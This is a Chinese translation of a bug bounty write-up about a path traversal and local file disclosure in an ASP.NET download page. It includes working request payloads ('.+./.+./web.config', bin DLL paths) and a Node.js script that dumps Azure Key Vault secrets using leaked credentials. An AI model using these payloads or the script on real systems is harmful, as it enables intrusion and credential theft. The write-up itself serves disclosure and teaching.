通過讀取ASP.NET應用泄露的secrets獲得bug賞金17000美刀
ASP.NET應用程序中比較常見的漏洞有本地文件泄露(LDF)。如果讀者之前未接觸過ASP.NET開發,那麼LFD對於你來說可能很困惑並且會沒啥思路。因此在下面的文章中,我描述了最接近真實環境下LFD攻擊的應用程序的利用過程。
確定漏洞點
在最近的挖洞過程中,我遇到了以下這個url
https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF…
首先就覺得可以試試任意文件下載,訪問後,在載入頁面時,它會從伺服器上的另一個路徑下載幫助文檔。但是它加密了,我沒法篡改f的值,假設我能夠找到密鑰來解密參數(可能是AES加密),估計能嘗試利用下LDF。
不過運氣還不錯,在網站的舊版本中找到了相同的下載點,如下:
https://domain.com/utility/download.aspx?f=file1234.docx
響應如下:
HTTP/1.1 200 OKConnection: closeContent-Length: 27363?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>
我立馬就把參數改成download.aspx,竟然能返回apsx文件內容。
GET /utility/download.aspx?f=download.aspxHTTP/1.1 200 OKConnection: closeContent-Length: 263<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>
經過測試,能訪問aspx文件內容,但是實際的源碼文件aspx.cs無法訪問。
有關.aspx與.aspx.cs的區別可以參考https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs
這個問題需要解決,不然無法後續進行利用。
我接著訪問其他目錄,看看有沒有發現。
繞過目錄訪問限制
使用常規的../來遍歷時,發現總是返回400 bad request,估計有過濾。
使用burp嘗試下fuzz,看看能不能繞過。
可以手工進行測試,但為了節省時間就使用以下請求進行fuzz
GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx
查看返回的內容,發現使用字元+返回了正確的內容。
這裡我很疑惑,本地搭建環境測試的使用我使用+進行fuzz沒成功,大致猜想加號在url中代表空格,也許與Window的文件名有關。
進一步利用
既然繞過了限制,接著我嘗試讀取了下ashx文件,ashx文件是一種帶HTML和C#的混合文件,猜測應該能讀取。
讀取成功
HTTP/1.1 200 OKConnection: closeContent-Length: 2398<%@ WebHandler Language="C#" Class="redacted.redacted" %>Imports SystemImports System.DataImports System.Data.SqlClientImports System.IOImports System.WebImports System.Configuration...
到這裡已經能得到一些敏感信息了,接著想更深一步利用,所以我決定讀取更多的源代碼文件。
當對一種技術迷惑的時候,最好是去讀它的官方文檔,所以在閱讀ASP.NET應用程序文檔時發現編譯類是保留/bin/className.dll中的。這意味著我們應該能夠提取.ashx 文件中引用的類名。
通過發送以下請求,我能夠下載到源文件的DLL(存儲DLLhttps://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/)
GET /utility/download.aspx?f=.+./.+./bin/redacted.dll
下載後,使用dnSpy(C#反編譯工具)導入DLL並恢復應用程序的源代碼,之後可以下載更多的類文件來獲取源代碼。
Azure密鑰泄露證明造成嚴重影響
ASP.NET應用程序中敏感的文件有web.config,該文件本質上是一個配置文件,其中包含從單個頁面到整個Web伺服器的各種變數。文件里存在大量敏感信息,例如SQL資料庫密碼,比如上面我們看到的已加密參數的加密密鑰,以及應用程序使用的內部介面。
下面是一個示例web.config文件。
<?xml version="1.0" encoding="utf-8"?><!-- For more information on how to configure your ASP.NET application, please visithttp://go.microsoft.com/fwlink/?LinkId=301880 --><configuration> <appSettings> <add key="webpages:Version" value="3.0.0.0" /> <add key="webpages:Enabled" value="false" /> <add key="ClientValidationEnabled" value="true" /> <add key="UnobtrusiveJavaScriptEnabled" value="true" /> <add key="PodioClientId" value="" /> <add key="PodioClientSecret" value="" /> <add key="AppId" value="" /> <add key="SpaceId" value="" /> </appSettings> <connectionStrings> <remove name="umbracoDbDSN" /> <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" /> </connectionStrings> <system.web> <compilation debug="true" targetFramework="4.5" /> <httpRuntime targetFramework="4.5" /> </system.web></configuration>
發送以下請求後,我們獲取到了web.config的內容。
GET /utility/download.aspx?f=.+./.+./web.config
其中響應中包含了許多secrets,最值得注意的是以下secrets的泄露。
...<add key="keyVaultDataPlaneUri" value="redacted" /><add key="uniqueKeyVaultNameUri" value="redacted" /><add key="keyVaultClientId" value="redacted" /><add key="keyVaultClientSecretIdentifier" value="redacted" /><add key="keyVaultClientTenantName" value="redacted" /><add key="keyVaultAuthenticationContextUri" value="redacted" /><add key="keyVaultApiVersion" value="2016-10-01" />...
利用這些密鑰可以訪問Azure Key Vault實例。而Azure Key Vault用來保存應用程序的secrets,會帶有一些敏感信息。
現在的問題是如何正確發送請求來訪問Azure Key Vault實例?在與朋友shubs討論之後,他立馬寫出了一個Node.js腳本,使用公開的密鑰成功訪問了Azure Key Vault實例…哈哈
var KeyVault = require("azure-keyvault");var AuthenticationContext = require("adal-node").AuthenticationContext;var clientId = "clientId";var clientSecret = "clientSecret";var vaultUri = "vaultUri";// Authenticator - retrieves the access tokenvar authenticator = function (challenge, callback) { // Create a new authentication context. var context = new AuthenticationContext(challenge.authorization); // Use the context to acquire an authentication token. return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) { if (err) throw err; // Calculate the value to be set in the request"s Authorization header and resume the call. var authorizationValue = tokenResponse.tokenType + " " + tokenResponse.accessToken; console.log(authorizationValue); return callback(null, authorizationValue); });};var credentials = new KeyVault.KeyVaultCredentials(authenticator);var client = new KeyVault.KeyVaultClient(credentials);client.getSecrets(vaultUri).then(function(value) { console.log(value);});
響應如下:
{ id: "https://redacted.vault.azure.net/secrets/ftp_credentials", attributes: { enabled: true, created: 2018-01-23T22:14:18.000Z, updated: 2018-01-23T22:14:18.000Z, recoveryLevel: "Purgeable" }, contentType: "secret" } ]... more secrets ...
本次漏洞利用完成,最終獲取的secrets足以讓我控制系統來證明危害程度,所以可以提交報告了。
總結
ASP.NET無法訪問源文件?可以嘗試訪問下/bin/className.dll。
想獲取到更多敏感信息?記得讀取web.config文件。
開發人員需要將ASP.NET應用程序安全性提升才能防止黑客攻擊,如果能破解每個請求中發送的token,應該也能發現更多的安全問題(XSS、身份驗證繞過、shell上傳、LFD和LFI等)。
時間線
提交——2018年9月25日
審核——2018年9月27日
發放獎勵17000美元——2018年9月29日
*參考來源:Samcurry,由生如夏花編譯,轉載請註明來自FreeBuf.COM


※Windows Sandbox:輕量級桌面環境專為安全運行應用程序而設計
TAG:FreeBuf |